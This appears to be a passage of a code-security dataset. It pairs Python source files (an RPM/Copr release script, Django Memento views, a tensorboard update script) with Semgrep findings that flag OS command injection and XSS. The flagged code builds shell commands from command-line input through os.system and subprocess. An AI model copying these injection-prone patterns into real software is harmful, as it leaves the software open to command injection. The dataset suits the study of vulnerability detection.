"column_start": 9, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/ec1b20d77e231b24.py", "start": {"line": 76, "col": 9, "offset": 2455}, "end": {"line": 76, "col": 40, "offset": 2486}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_ec1b20d77e231b24_84e903f9", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 76, "line_end": 76, "column_start": 20, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmppq52ww6s/ec1b20d77e231b24.py", "start": {"line": 76, "col": 20, "offset": 2466}, "end": {"line": 76, "col": 24, "offset": 2470}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | [
73,
76
] | [
73,
76
] | [
13,
9
] | [
44,
40
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Detected subprocess functi... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | component.py | /src/component.py | isabella232/crash-similarity-inspector | Apache-2.0 | |
2024-11-18T19:08:00.248038+00:00 | 1,600,711,722,000 | b0c8a15a050177cfffdc88c34d295fab4ecff81a | 2 | {
"blob_id": "b0c8a15a050177cfffdc88c34d295fab4ecff81a",
"branch_name": "refs/heads/master",
"committer_date": 1600711722000,
"content_id": "b8d6508e9f871e76dc8147afce8d6a5eda57d20d",
"detected_licenses": [
"MIT"
],
"directory_id": "61b7988b00085f575819116ff99232a154c55b43",
"extension": "py",
"filename": "submitToCopr.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 908,
"license": "MIT",
"license_type": "permissive",
"path": "/submitToCopr.py",
"provenance": "stack-edu-0054.json.gz:579559",
"repo_name": "troyp/gonhang",
"revision_date": 1600711722000,
"revision_id": "e1c4b53c5aaa72771be63c2c88dd53f228d495b5",
"snapshot_id": "9f8a97395288bd1e7bcc3897af4bf66992b4762c",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/troyp/gonhang/e1c4b53c5aaa72771be63c2c88dd53f228d495b5/submitToCopr.py",
"visit_date": "2022-12-19T15:14:20.590275"
} | 2.40625 | stackv2 | #!/usr/bin/python3
import sys
import os
package = 'gonhang'
def removeFiles():
os.system('rm -rfv ~/rpmbuild')
if len(sys.argv) == 1:
print('Please, specify the version from command line!')
sys.exit(0)
version = sys.argv[1]
print('Remove unnecessary files....')
removeFiles()
print(f'Download package {package} version: {version}')
os.system(f'pyp2rpm -srpm {package}')
print('Build RPM....')
cmdToBuild = f'rpmbuild -ba --sign rpmbuild/{package}.spec'
os.system(cmdToBuild)
print('Upload to Copr....')
cmd = f'copr-cli build {package} /root/rpmbuild/SRPMS/{package}-{version}-1.fc32.src.rpm'
os.system(cmd)
removeFiles()
print('Update Repository.....')
os.system('git add --all')
msg = f'copr package {package} version: {version} was released!'
print(f'Comiting changes with message: {msg}')
os.system(f'git commit -m "{msg}"')
print('Pushing...')
os.system('git push')
print('OK!')
| 41 | 21.15 | 89 | 8 | 257 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_3a1a93d998c58e6d_4c058bf7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 30, "line_end": 30, "column_start": 1, "column_end": 15, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmppq52ww6s/3a1a93d998c58e6d.py", "start": {"line": 30, "col": 1, "offset": 615}, "end": {"line": 30, "col": 15, "offset": 629}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_3a1a93d998c58e6d_5dfb1b2a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 30, "line_end": 30, "column_start": 1, "column_end": 15, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmppq52ww6s/3a1a93d998c58e6d.py", "start": {"line": 30, "col": 1, "offset": 615}, "end": {"line": 30, "col": 15, "offset": 629}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_3a1a93d998c58e6d_4122d296", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 38, "line_end": 38, "column_start": 1, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmppq52ww6s/3a1a93d998c58e6d.py", "start": {"line": 38, "col": 1, "offset": 817}, "end": {"line": 38, "col": 36, "offset": 852}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_3a1a93d998c58e6d_b6ed4e25", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 38, "line_end": 38, "column_start": 1, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmppq52ww6s/3a1a93d998c58e6d.py", "start": {"line": 38, "col": 1, "offset": 817}, "end": {"line": 38, "col": 36, "offset": 852}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-tainted-env-args",
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-tainted-env-args"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"MEDIUM",
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | [
30,
30,
38,
38
] | [
30,
30,
38,
38
] | [
1,
1,
1,
1
] | [
15,
15,
36,
36
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.",
"Found user-controll... | [
7.5,
7.5,
7.5,
7.5
] | [
"LOW",
"MEDIUM",
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | submitToCopr.py | /submitToCopr.py | troyp/gonhang | MIT | |
2024-11-18T19:08:01.752663+00:00 | 1,507,953,108,000 | 3ba780992e4b861b85efc1acc529d8014f6c06ce | 2 | {
"blob_id": "3ba780992e4b861b85efc1acc529d8014f6c06ce",
"branch_name": "refs/heads/master",
"committer_date": 1507953108000,
"content_id": "1f370bbbda0b207325cabcc45cc285cb384ecc20",
"detected_licenses": [
"MIT"
],
"directory_id": "43971f3df68a6209b3f84f428fc6c21f88ca7ada",
"extension": "py",
"filename": "views.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 35352362,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 9397,
"license": "MIT",
"license_type": "permissive",
"path": "/memento/timegate/views.py",
"provenance": "stack-edu-0054.json.gz:579579",
"repo_name": "palewire/django-memento-framework",
"revision_date": 1507953108000,
"revision_id": "c1849f1fb34bf629cad8f3a4dfa40bf1105ca72a",
"snapshot_id": "63fb21c513a120463d203b1cc18a76cfdbb9076f",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/palewire/django-memento-framework/c1849f1fb34bf629cad8f3a4dfa40bf1105ca72a/memento/timegate/views.py",
"visit_date": "2021-10-06T11:09:54.579763"
} | 2.5 | stackv2 | import urllib
from django.core.urlresolvers import reverse
from django.http import HttpResponse, Http404
from dateutil.parser import parse as dateparser
from django.utils.cache import patch_vary_headers
from django.utils.translation import ugettext as _
from django.core.exceptions import SuspiciousOperation
from memento.templatetags.memento_tags import httpdate
from django.core.exceptions import ImproperlyConfigured
from django.contrib.syndication.views import add_domain
from django.views.generic import RedirectView, DetailView
from django.contrib.sites.shortcuts import get_current_site
class MementoDetailView(DetailView):
"""
Extends Django's DetailView to describe an archived resource.
A set of extra headers is added to the response. They are:
* The "Memento-Datetime" when the resource was archived.
* A "Link" that includes the URL of the original resource as well
as the location of the TimeMap the publishes the directory of
all versions archived by your site and a TimeGate where a datetime
can be submitted to find the closest mementos for this resource.
The view should be subclassed and configured like any other DetailView
with a few extra options. They are:
* datetime_field: A string attribute that is the name of the database
field that contains the timestamp when the resource was archived.
* timemap_pattern: The name of the URL pattern for this site's TimeMap
that, given the original url, is able to reverse to return the
location of the map that serves as the directory of all versions of
this resource archived by your site.
* timegate_pattern: The name of the URL pattern for this site's
TimeGate that, given the original url, is able to reverse to return
the location of the url where a datetime can be submitted to find
the closest mementos for this resource.
* get_original_url: A method that, given the object being rendered
by the view, will return the original URL of the archived resource.
"""
datetime_field = 'datetime'
timemap_pattern_name = None
timegate_pattern_name = None
def get_timemap_url(self, request, url):
"""
Returns the location of the TimeMap that lists resources archived
for the provided URL.
"""
path = reverse(self.timemap_pattern_name, kwargs={'url': url})
current_site = get_current_site(request)
return add_domain(
current_site.domain,
path,
request.is_secure(),
)
def get_timegate_url(self, request, url):
"""
Returns the location of the TimeGate where a datetime
can be submitted to find the closest mementos for this resource.
"""
path = reverse(self.timegate_pattern_name, kwargs={'url': url})
current_site = get_current_site(request)
return add_domain(
current_site.domain,
path,
request.is_secure(),
)
def get_original_url(self, obj):
raise NotImplementedError("get_original_url method not implemented")
def get(self, request, *args, **kwargs):
response = super(MementoDetailView, self).get(
request,
*args,
**kwargs
)
dt = getattr(self.object, self.datetime_field)
response['Memento-Datetime'] = httpdate(dt)
if self.timemap_pattern_name:
original_url = self.get_original_url(self.object)
timemap_url = self.get_timemap_url(self.request, original_url)
timegate_url = self.get_timegate_url(self.request, original_url)
response['Link'] = """<%(original_url)s>; rel="original", \
<%(timemap_url)s>; rel="timemap"; type="application/link-format", \
<%(timegate_url)s>; rel="timegate\"""" % dict(
original_url=urllib.unquote(original_url),
timemap_url=urllib.unquote(timemap_url),
timegate_url=urllib.unquote(timegate_url),
)
return response
class TimeGateView(RedirectView):
"""
Creates a TimeGate that handles a request with Memento headers
and returns a response that redirects to the corresponding
Memento.
"""
model = None
queryset = None
timemap_pattern_name = None
url_kwarg = 'url'
url_field = 'url'
datetime_field = 'datetime'
def parse_datetime(self, request):
"""
Parses the requested datetime from the request headers
and returns it if it exists. Otherwise returns None.
"""
# Verify that the Accept-Datetime header is provided
if not request.META.get("HTTP_ACCEPT_DATETIME"):
return None
# Verify that the Accept-Datetime header is valid
try:
dt = dateparser(request.META.get("HTTP_ACCEPT_DATETIME"))
except:
dt = None
if not dt:
raise SuspiciousOperation(
_("Bad request (400): Accept-Datetime header is malformed"),
)
return dt
def get_object(self, url, dt):
"""
Accepts the requested URL and datetime and returns the object
with the smallest date difference.
"""
queryset = self.get_queryset()
queryset = queryset.filter(**{self.url_field: url})
try:
prev_obj = queryset.filter(
**{"%s__lte" % self.datetime_field: dt}
).order_by("-%s" % self.datetime_field)[0]
except IndexError:
raise Http404(_("No %(verbose_name)s found matching the query") %
{'verbose_name': queryset.model._meta.verbose_name})
try:
next_obj = queryset.filter(
**{"%s__gte" % self.datetime_field: dt}
).order_by("%s" % self.datetime_field)[0]
except IndexError:
next_obj = None
if not next_obj:
return prev_obj
else:
prev_delta = abs(dt - getattr(prev_obj, self.datetime_field))
next_delta = abs(dt - getattr(next_obj, self.datetime_field))
if prev_delta <= next_delta:
return prev_obj
else:
return next_obj
def get_most_recent_object(self, url):
"""
Returns the most recently archive object of the submitted URL
"""
queryset = self.get_queryset()
try:
return queryset.filter(**{
self.url_field: url,
}).order_by("-%s" % self.datetime_field)[0]
except IndexError:
raise Http404(_("No %(verbose_name)s found matching the query") %
{'verbose_name': queryset.model._meta.verbose_name})
def get_queryset(self):
"""
Return the `QuerySet` that will be used to look up the object.
Note that this method is called by the default implementation of
`get_object` and may not be called if `get_object` is overridden.
"""
if self.queryset is None:
if self.model:
return self.model._default_manager.all()
else:
raise ImproperlyConfigured(
"%(cls)s is missing a QuerySet. Define "
"%(cls)s.model, %(cls)s.queryset, or override "
"%(cls)s.get_queryset()." % {
'cls': self.__class__.__name__
}
)
return self.queryset.all()
def get_redirect_url(self, request, obj):
"""
Returns the URL that will redirect to the Memento resource.
"""
current_site = get_current_site(request)
return add_domain(
current_site.domain,
obj.get_absolute_url(),
request.is_secure(),
)
def get_timemap_url(self, request, url):
"""
Returns the location of the TimeMap that lists resources archived
for the provided URL.
"""
path = reverse(self.timemap_pattern_name, kwargs={'url': url})
current_site = get_current_site(request)
return add_domain(
current_site.domain,
path,
request.is_secure(),
)
def get(self, request, *args, **kwargs):
url = self.kwargs.get(self.url_kwarg)
if not url:
return HttpResponse(
_("Bad request (400): URL not provided"),
status=400
)
url = url.replace("http:/", "http://")
url = url.replace("http:///", "http://")
dt = self.parse_datetime(request)
if dt:
obj = self.get_object(url, dt)
else:
obj = self.get_most_recent_object(url)
redirect_url = self.get_redirect_url(request, obj)
response = HttpResponse(status=302)
patch_vary_headers(response, ["accept-datetime"])
if self.timemap_pattern_name:
response['Link'] = """<%(url)s>; rel="original", \
<%(timemap_url)s>; rel="timemap"; type="application/link-format\"""" % dict(
url=urllib.unquote(url),
timemap_url=urllib.unquote(self.get_timemap_url(request, url))
)
response['Location'] = urllib.unquote(redirect_url)
return response
| 249 | 36.74 | 78 | 20 | 1,948 | python | [{"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_e508f74433cdd0d6_380eddd4", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 228, "line_end": 231, "column_start": 20, "column_end": 14, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmppq52ww6s/e508f74433cdd0d6.py", "start": {"line": 228, "col": 20, "offset": 8466}, "end": {"line": 231, "col": 14, "offset": 8578}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-79"
] | [
"rules.python.django.security.audit.xss.direct-use-of-httpresponse"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
228
] | [
231
] | [
20
] | [
14
] | [
"A07:2017 - Cross-Site Scripting (XSS)"
] | [
"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | views.py | /memento/timegate/views.py | palewire/django-memento-framework | MIT | |
2024-11-18T19:18:14.224903+00:00 | 1,625,536,489,000 | 8792a79c9f126b1613636fd272d5a223a4cfc69e | 2 | {
"blob_id": "8792a79c9f126b1613636fd272d5a223a4cfc69e",
"branch_name": "refs/heads/master",
"committer_date": 1625536489000,
"content_id": "be5fc4f293d779f022e6b7c023ae57f109ffd7e6",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "dfe27217a8036797f09d59611ad3083be71c040b",
"extension": "py",
"filename": "update_tensorboard.py",
"fork_events_count": 0,
"gha_created_at": 1625473242000,
"gha_event_created_at": 1625473242000,
"gha_language": null,
"gha_license_id": "NOASSERTION",
"github_id": 383066604,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1252,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/scripts/update_tensorboard.py",
"provenance": "stack-edu-0054.json.gz:579619",
"repo_name": "hyunbool/MeanSum",
"revision_date": 1625536489000,
"revision_id": "8dd4006e95a80c8f557e68bf8062c161c7b079ce",
"snapshot_id": "0c5953bdd48ffd5d446267636929a03bdf0715e1",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/hyunbool/MeanSum/8dd4006e95a80c8f557e68bf8062c161c7b079ce/scripts/update_tensorboard.py",
"visit_date": "2023-06-19T16:13:46.626780"
} | 2.3125 | stackv2 | # update_tensorboard.py
"""
Reinstall tensorboard from source. Also copy over a file that has a different default parameter.
This is to account for texts added from tb.add_text() not showing up.
Issue: https://github.com/lanpa/tensorboardX/issues/191
Difference in tensorboard_application.py that's being copied over:
Use 100 instead of 10.
DEFAULT_SIZE_GUIDANCE = {
event_accumulator.TENSORS: 100,
}
Usage:
python update_tensorboard.py
"""
import subprocess
import sys
def execute_cmd(cmd):
p = subprocess.call(cmd.split(), stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
# Get path of backend/application.py that we are going to update
py_path = sys.executable # '/usr/local/google/home/chueric/anaconda3/envs/berg/'
py_path = sys.executable.split('bin')[0]
py_version = 'python{}.{}'.format(sys.version_info.major, sys.version_info.minor)
tb_appfile_path = '{}/lib/{}/site-packages/tensorboard/backend/application.py'.format(py_path, py_version)
cmd = 'cp tensorboard_application.py {}'.format(tb_appfile_path)
print(cmd)
execute_cmd(cmd)
print('Reinstalling tensorboardx from source')
cmd = 'pip uninstall --yes tensorboardX'
execute_cmd(cmd)
cmd = 'pip install git+https://github.com/lanpa/tensorboard-pytorch'
execute_cmd(cmd) | 39 | 31.13 | 106 | 10 | 310 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_232034ef594e87b5_2020b3ef", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 9, "column_end": 87, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], 